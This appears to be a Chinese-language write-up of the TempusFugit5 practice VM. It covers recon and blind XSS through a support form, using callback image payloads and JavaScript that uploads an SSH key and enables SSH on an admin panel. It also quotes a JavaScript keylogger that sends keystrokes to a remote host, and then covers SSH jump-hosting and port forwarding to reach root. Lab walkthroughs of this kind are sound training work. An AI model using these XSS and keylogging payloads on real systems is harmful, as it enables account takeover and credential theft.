OSCP-TempusFugit5
教学视频红队笔记
kali:192.168.174.132
靶机:192.168.174.139(好看的界面),省了主机发现的过程

端口扫描
sudo nmap --min-rate 10000 -p- 192.168.174.139 -oA TempusFugit5/ports
|

开放了80端口,尝试在浏览器中访问

nginx的默认主页,邮件地址暴露出域名mofo.org,手动做一下映射
echo "192.168.174.139 mofo.org" | sudo tee -a /etc/hosts
|
子域爆破
gobuster vhost \ -u http://192.168.174.139 \ --domain mofo.org \ --append-domain \ -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil.txt \ -o gobuster_mofo_vhost.txt \ -a 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \ -H 'Accept: text/html' \ -H 'Accept-Language: en-US' \ -t 50
|
获取浏览器的指纹信息,F12,console
copy(navigator.userAgent)
|
或者到network刷新一下,选中网页

保存到记事本中,选择需要的保留
curl 'http://192.168.174.139/' \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \ -H 'Accept-Language: en-US,en;q=0.5' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Connection: keep-alive' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'If-Modified-Since: Mon, 24 Feb 2020 19:13:42 GMT' \ -H 'If-None-Match: W/"5e542066-274"' \ -H 'Priority: u=0, i'
|
找到status为200,403的结果
- 高价值(优先验证): 200, 301, 302, 401, 403
- 中价值(可能有效): 400, 405, 406, 407
- 低价值(大概率无效): 404, 500, 502, 503, 504
grep -E "Status: (200|403)" gobuster_mofo_vhost.txt
|

把有效的域名也加到hosts里
192.168.174.139 mofo.org admin.mofo.org www.mofo.org WWW.mofo.org snap.mofo.org ADMIN.mofo.org
|
web应用分析
首先访问admin的域名,被限制了,尝试访问其它页面

访问主页

发现蓝色的字的意思是
我们正在开发的新产品“Snap”将让客户能够监控自己的网站,并即时拍摄网站快照。我们对此非常期待。如果您希望参与测试,请与我们联系。
且contact存在一个链接,查看后发现mail的用户名

记录一下
mailto:hugh.janus@mofo.org
|
页面最底下还有个源作者信息,访问一i西安


一个CMS系统,可能存在已知漏洞,可以先搜索一下,发现存在
- CVE-2022-2073
- CVE-2021-21425
- CVE-2024-28115
发现利用大都要进入到管理界面进行模板注入,类似FLASK,倒是可以快速获得管理界面的路径,管理界面又限制了ip,还有个security的界面访问看一下啊

我们以往的错误让我们明白,绝不能将任何信息暴露在互联网上。目前,所有管理功能均被隔离在本地网络内部,仅对本网络内的用户开放。
进一步访问snap的域名,估计可以获取到网页快照

尝试把admin的域名输入,ssh,key,可能要用到ssh爆破

再尝试其它路径

这个页面需要上传什么密钥,再尝试其它的

发现了前面获得的Hugh Janus,但都是离线的,只有Anita Hanjaab是在线的,且还有地址,但应该是内网环境

logs一个是ssh未激活,没有上传key,应该要同时满足这两个条件才可以访问日志,这些都没办法交互,右上角还有一个support,尝试访问

输入测试一下,返回

抓包看一下(用bp后面会卡,可以下一个caido),有没有其它突破口

可以看到还有个_csrf的的值,这可能是为了防止csfr攻击的,尝试修改一下,发现没有这个值也可以成功返回

XSS盲打
本地设置个文件服务器
goshs -i 192.168.174.132 -p 80
|
准备好回连payload
<img src='http://192.168.174.132/subject-html-001'> <img src='http://192.168.174.132/subject-html-002'> <img src='http://192.168.174.132/subject-html-003'>
|

过了一会发现003的payload有反应,进一步对csrf字段测试,注意编码
<img src=x onerror="new Image().src='http://192.168.174.132/subject-xss-003?u='+encodeURIComponent(location.href)">
|

可以看到事件被触发了,这里考虑尝试上传ssh密钥
ssh-keygen -t rsa -b 4096 -f ./id_rsa -C "tempusfugit"
|
结合前面的upload your key来盲打

var xhr = new XMLHttpRequest();
var fd = new FormData();
var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';
var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });
fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');
xhr.open('POST', 'http://admin.mofo.org/key', false);
xhr.send(fd);
var xhr = new XMLHttpRequest();var fd = new FormData();var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });fd.append('file', fileBlob, 'id_rsa.pub');fd.append('Submit', 'Submit');xhr.open('POST', 'http://admin.mofo.org/key', false);xhr.send(fd);
<img src=x onerror="var xhr = new XMLHttpRequest();var fd = new FormData();var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });fd.append('file', fileBlob, 'id_rsa.pub');fd.append('Submit', 'Submit');xhr.open('POST', 'http://admin.mofo.org/key', false);xhr.send(fd);">
|


可以看到文件成功上传,后续尝试激活ssh,再根据界面enable ssh,尝试修改payload
<img src=x onerror=" // 创建 XMLHttpRequest 对象,用于发送 AJAX 请求 var xhr = new XMLHttpRequest(); // 初始化 POST 请求:同步模式(false),发送到 admin.mofo.org 根路径 xhr.open('POST','http://admin.mofo.org/',false); // 设置请求头:Content-Type 为表单编码格式 // 注意:这里手动设置 Content-Type 会导致浏览器不自动添加 boundary xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); // 发送 POST 数据:启用 SSH 服务 xhr.send('Submit=Enable+SSH'); ">
<img src=x onerror="var xhr = new XMLHttpRequest();xhr.open('POST','http://admin.mofo.org/',false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('Submit=Enable+SSH');">
|

这时候去进行ssh连接会连不上,因为不是默认的22端口,再次进行扫描发现在2222端口


先用key界面的默认的ctoress登录
sudo ssh -i id_rsa ctorres@192.168.174.139 -p 2222
|

登录失败,这里的stepping stone一般指的是跳板机,结合staff的状态,我们需要先连跳板机,再通过跳板机连接目标
sudo ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1
|

连接失败,我们尝试查看连接日志
sudo ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1
|
搜了下,使用 sudo 后,SSH 在 /root/.ssh/ 下找密钥,而不是你当前用户的 ~/.ssh/,把当前目录的id_rsa拷贝到 ~/.ssh/,然后不用sudo
ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1
|

邮件枚举
获取一下信息,whoami、id、hostname、pwd、ls -liah

发现you have mail,尝试看一下Mail,sent的内容,发现sent里有很多邮件

可以看到mutt,这是linux的命令行邮件客户端,可以尝试直接mutt,用命令行查看邮件

上下选择邮件,回车查看,q退出

我们发现hugh和sysetm admin有关联,继续查看邮件

发现相关信息,查看hosts文件

用curl 查看一下页面内容

document.onkeypress = function logKey(k) { new Image().src='http://192.168.150.1:4444/keylog.php?key='+k.which; }
|
在该页面上敲的每个字,都会被实时发送给攻击者。 包括密码、账号、私信内容等一切输入,所以我们尝试候去一下这个地址的键盘输入
python3 -m http.server --bind 192.168.150.1 4444 | tee keylog
|

python3 -u -m http.server --bind 192.168.150.1 4444 2>&1 | tee -a keylog
|

@TempusFugit5:~$ grep -oP 'key=\K\d+' keylog | awk '{printf "%c", $1}'; echo hjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVB
|
端口转发
ssh -i id_rsa -J ctorres@192.168.174.139:2222 \ -N -f \ -L 80:192.168.150.15:80 \ ctorres@192.168.150.1
|
ssh |
SSH 客户端命令 |
建立安全 shell 连接 |
-i id_rsa |
指定私钥文件 |
使用 id_rsa 私钥进行身份认证(免密码登录) |
-J ctorres@192.168.174.139:2222 |
跳板机(ProxyJump) |
先 SSH 连接到 192.168.174.139:2222(跳板机),再通过它连接到最终目标机 |
-N |
不执行远程命令 |
仅建立连接,不打开远程 shell(适合端口转发) |
-f |
后台运行 |
SSH 连接建立后转到后台运行(不占用终端) |
-L 8080:localhost:80 |
本地端口转发 |
将本地的 8080 端口转发到目标机的 localhost:80(即目标机自己的 80 端口) |
ctorres@192.168.150.1 |
最终目标机 |
经过跳板机后,最终连接到的机器 |
访问本地的80端,输入用户名和密码

登陆后可以看到root的密码

然后再登录到ctorres,登录root
